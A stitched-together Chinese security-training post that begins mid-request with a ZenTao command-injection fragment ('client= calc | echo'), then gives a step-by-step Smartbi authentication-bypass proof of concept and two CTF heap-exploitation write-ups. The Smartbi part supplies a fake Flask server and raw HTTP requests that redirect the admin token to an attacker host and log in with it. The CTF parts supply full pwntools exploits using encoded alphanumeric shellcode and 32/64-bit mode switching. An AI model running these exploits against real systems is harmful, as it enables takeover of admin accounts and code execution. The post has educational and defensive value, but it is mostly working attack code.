Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; windowWidth=1440; windowHeight=722; tab=devops; repoBranch=master;XDEBUG_SESSION=PHPSTORM
Connection: close
SCM=Subversion&client= calc | echo "
module/repo/control.php#edit
module/repo/model.php#update
module/repo/model.php#checkConnection
修复建议
更新至最新版本
smartbi token回调获取登录凭证漏洞
2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。
0x01分析结果
依据补丁分析,得到如下漏洞复现步骤
第一步,设置EngineAddress为攻击者机器上的http服务地址
首先使用python flask搭建一个fake server,上面只注册了/api/v1/configs/engine/smartbitoken接口,该接口返回一个json响应体
from flask import Flask,jsonify,request
app = Flask(__name__)
@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():
print(request.json)
return jsonify(hi="jello")
if __name__ == "__main__":
app.run(host="0.0.0.0",port=8000)
使用如下poc,设置EngineAddress为我们的fake server地址http://10.52.32.43:8000,
POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23
http://10.52.32.43:8000
第二步,触发smartbi向我们刚刚设置的EngineAddress外发token
发送如下请求
POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10
experiment
发送相关请求后,即可在我们的fake server上面看到了携带token的请求
第三步,使用上面获取的token进行登录
POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47
admin_I8ac3b2d10189e80fe80fea750189ed0084f50082
返回true表示登录成功,其中的cookie就是合法的凭证
0x02分析过程
阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setServiceAddress有关
更进一步查看RejectSmartbixSetAddress类修补的方式,可知与smartbix.datamining.service.MonitorService类的getToken方法有关,该补丁表示如果系统中smartbix.datamining.service.MonitorService存在getToken方法就进行拦截/smartbix/api/monitor/setEngineAddress等一系列接口的请求。
分析smartbix.datamining.service.MonitorService类从头部的注解可知,该类下的所有路由都不需要认证即可访问
定位到getToken方法该方法对应的路由的/token,方法内部生成一个token,并在输入的type参数为experiment是将该token发送到系统配置中配置的ENGINE_ADDRESS
这意味着,只要ENGINE_ADDRESS可控,那么我们就能获取到一个合法的token
由补丁包的路由/smartbix/api/monitor/setServiceAddress定位到setEngineAddress方法可知该方法可以未授权配置ENGINE_ADDRESS
那意味着,只需要调用/smartbix/api/monitor/setServiceAddress接口,将ENGINE_ADDRESS设置为我们可控的伪造服务器,那么就可以从请求报文中获取到token。(这个位置经过尝试,发现伪造服务器上需要实现使用POST方法请求的/api/v1/configs/engine/smartbitoken接口,并且,响应内容为json)获取完token后,就可调用/smartbix/api/monitor/login方法进行登录
0x03其他说明
上述只说明了设置ENGINE_ADDRESS利用的情况,设置SERVICE_ADDRESS进行利用的步骤也和上述类似
ASCII码-shellcode的技巧
网上已经有成熟的工具了,所以就简单记录一下工具怎么用吧
https://github.com/TaQini/alpha3https://github.com/veritas501/ae64.githttps://github.com/rcx/shellcode_encoder结合题目来看吧,没有开启NX保护,基本这类型题目九成九都是shellcode题
程序一开始会让我们在bss段上输入数据,并且判断输入的字符大小是否小于0x1F,再结合NX保护没开启的操作,很容易可以想到此时输入的就是shellcode,而每个字节的不能小于0x1F,那么使用ASCII码shellcode就可以完全绕过了,因为小于0x1F的都是不可见字符
接着再来看题目存在的漏洞,题目存在很明显的UAF漏洞
在选项5中则是留有触发shellcode的条件,只要dword_602440不为0则直接指向我们输入的shellcode,而dword_602440位于bss段,因此默认就为0
而在add函数中,分配堆块又恰好都在unsortbin的范围内,那么思路很清楚了,就是使用unsortbin修改dword_602440的值,那么就能触发shellcode
剩下就是shellcode如何绕过0x1F这个限制,可以看到syscal是\xf\x5,因此syscal都无法绕过这个限制
这里使用ae64这个工具
首先将需要修改的shellcode以二进制的形式导出,这里直接用pwntools生成的shellcode即可
from ae64 import AE64
from pwn import *
context.arch='amd64'
# get bytes format shellcode
shellcode = asm(shellcraft.sh())
# get alphanumeric shellcode
f = open('shellcode','wb+')
f.write(shellcode)
f.close()
接着使用ae64的库直接修改为ASCII码shellcode
from pwn import *
from ae64 import AE64
context.arch = 'amd64'
obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'rdx')
print(sc)
这里rdx即为shellcode执行的时候call的寄存器
然后就可以生成shellcode了
紧接着拿这段生成的shellcode就可以绕过了
exp
from pwn import *
sh = process("./pwn")
context(arch='amd64')
def add(size):
sh.recvuntil(" choice:")
sh.sendline("1")
sh.recvuntil(" message?")
sh.sendline(str(size))
def delete(index):
sh.recvuntil(" choice:")
sh.sendline("2")
sh.recvuntil("o be deleted?")
sh.sendline(str(index))
def edit(index,content):
sh.recvuntil(" choice:")
sh.sendline("3")
sh.recvuntil(" be modified?")
sh.sendline(str(index))
sh.recvuntil("t of the message?")
sh.sendline(content)
def show(index):
sh.recvuntil(" choice:")
sh.sendline("4")
sh.recvuntil(" to be showed?")
sh.sendline(str(index))
def exp():
sh.recvuntil(" choice:")
sh.sendline("5")
payload = "RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP"
sh.send(payload)
add(0x81)
add(0x81)
delete(0)
edit(0, p64(0) + p64(0x602440 - 0x10))
add(0x81)
exp()
sh.interactive()
机器切换-shellcode
有时候会遇到题目需要同时使用32位shellcode与64位shellcode,那么如何进行机器切换则成为解题的关键。
CS寄存器则是用于标记机器位数的关键寄存器
CS=0x33,64位
CS=0x23,32位
那么如何修改CS寄存器的值,则需要通过retfq与retf的指令
refq,从64位切换到32位
push 0x23; #32位的CS寄存器的值
push 0xxx; #需要跳转的地址
retfq; #从32位切换到64位
ref,从32位切换至64位
push 0x33; #64的CS寄存器的值
push 0xxx; #需要跳转的地址
retf; #从64位切换到32位
再以一道题目作为例子,保护如下,还是没有开启NX保护
题目漏洞在于,再add函数中可申请11个堆块,而题目中给堆块地址容纳的个数为10,因此申请的第11个堆块的地址则会到length中,从而导致第1个堆块的大小变成了堆块的地址值,造成了堆溢出。
这里有个需要注意的地方是会首先检测存放堆块的位置是否为0,为0才会给该堆块申请的机会,因此第1个堆块的大小必须设置为0,才能够申请到11个堆块。
题目还是用mallopt修改了fastbin的大小为0x10,因此使得无法释放的堆块无法放置到fastbin中,但是mallopt实际是修改了max_global_fast的大小
但是题目存在堆溢出漏洞,因此使用修改Unsortbin的bk指针,修改global_max_fast的即可,这样就可以让堆块放进fastbin中了。
并且允许在bss段上输入数据,且该地址刚好在存放堆块地址的上方,因此伪造虚假堆块在该位置就可以完成任意地址写了。
紧接着修改free函数的got表地址为堆块地址,就可以跳转到shellcode中执行,可以看到堆块地址也是具有可执行权限的。
查看一下禁用了哪些函数,发现只能用read,write以及fstat函数,但是fstat函数对于这道题来说没有用。那么没有open函数,我们就没办法进行orw的利用了。
可以看到fstat函数的64位的系统调用号为5
但是32位下的系统调用号5为open函数
那么如果能切换到32位下执行系统调用为5的系统调用,即可完成open函数的执行,这里就要用到上述的方法使用ref与refq指令完成机器位数的切换。
这里需要注意两个点
(1)在切换为机器位数之后栈顶的地址会被截断为4个字节,因此需要重新调整一下栈顶的地址
(2)在机器位数切换为32位时,在执行系统调用还是会显示原来的函数,但是这个是gdb显示错误,它实际被修改为open函数了
exp
from pwn import *
#sh = process("./pwn")
elf = ELF("pwn")
def user(name,desc):
sh.recvuntil("choice:")
sh.sendline("0")
sh.recvuntil(" name?")
sh.send(name)
sh.recvuntil("desc?")
sh.send(desc)
def add(size):
sh.recvuntil("choice:")
sh.sendline("1")
sh.recvuntil(" message?")
sh.send(str(size))
def delete(index):
sh.recvuntil("choice:")
sh.sendline("2")
sh.recvuntil(" be deleted?")
sh.send(str(index))
def edit(index, offset, content):
sh.recvuntil("choice:")
sh.sendline("3")
sh.recvuntil("ssage to be modified?")
sh.send(str(index))
sh.recvuntil("message to be modified?")
sh.send(str(offset))
sh.recvuntil("ent of the message?")
sh.send(content)
while(1):
try:
sh = process("./pwn")
add(0) #0
add(0) #1
add(0x60)
for i in range(8):
add(0x71)
delete(1)
payload = p64(0)*3 + p64(0x21) + p64(0) + p16(0x37f8 - 0x10)
edit(0,0,payload)
add(9)
delete(2)
delete(3)
delete(4)
delete(5)
user('a'*0x10+p64(0)+p64(0x71),'b')
target = 0x6020f0
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(target)
edit(0,0,payload)
add(0x60)#2
sh.recvuntil("Ptr: ")
addr = int("0x"+sh.recv(6),16)
log.info("addr:"+hex(addr))
add(0x60)#3
edit(3,0,p64(elf.got['free']))
payload = asm('push 0x23;push '+hex(addr+9)+';retfq', arch='amd64')
payload += asm('mov esp, '+hex(target+0x50)+';push 0x6761;push 0x6c662f2e;push esp;pop ebx; xor ecx,ecx; mov eax,5; int 0x80',arch='i386')
payload += asm('push 0x33;push '+hex(addr+0x2b)+';retf')
payload += asm('mov rdi,rax; mov rsi,0x602080;mov rdx, 0x100;mov rax, 0;syscall;',arch='amd64')
payload += asm('mov rdi,1;mov rax ,1;syscall;',arch='amd64')
edit(2,0,payload)
edit(0,0,p64(addr))
#attach(sh,'b*'+str(addr))
delete(6)
sh.interactive()
except:
continue
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

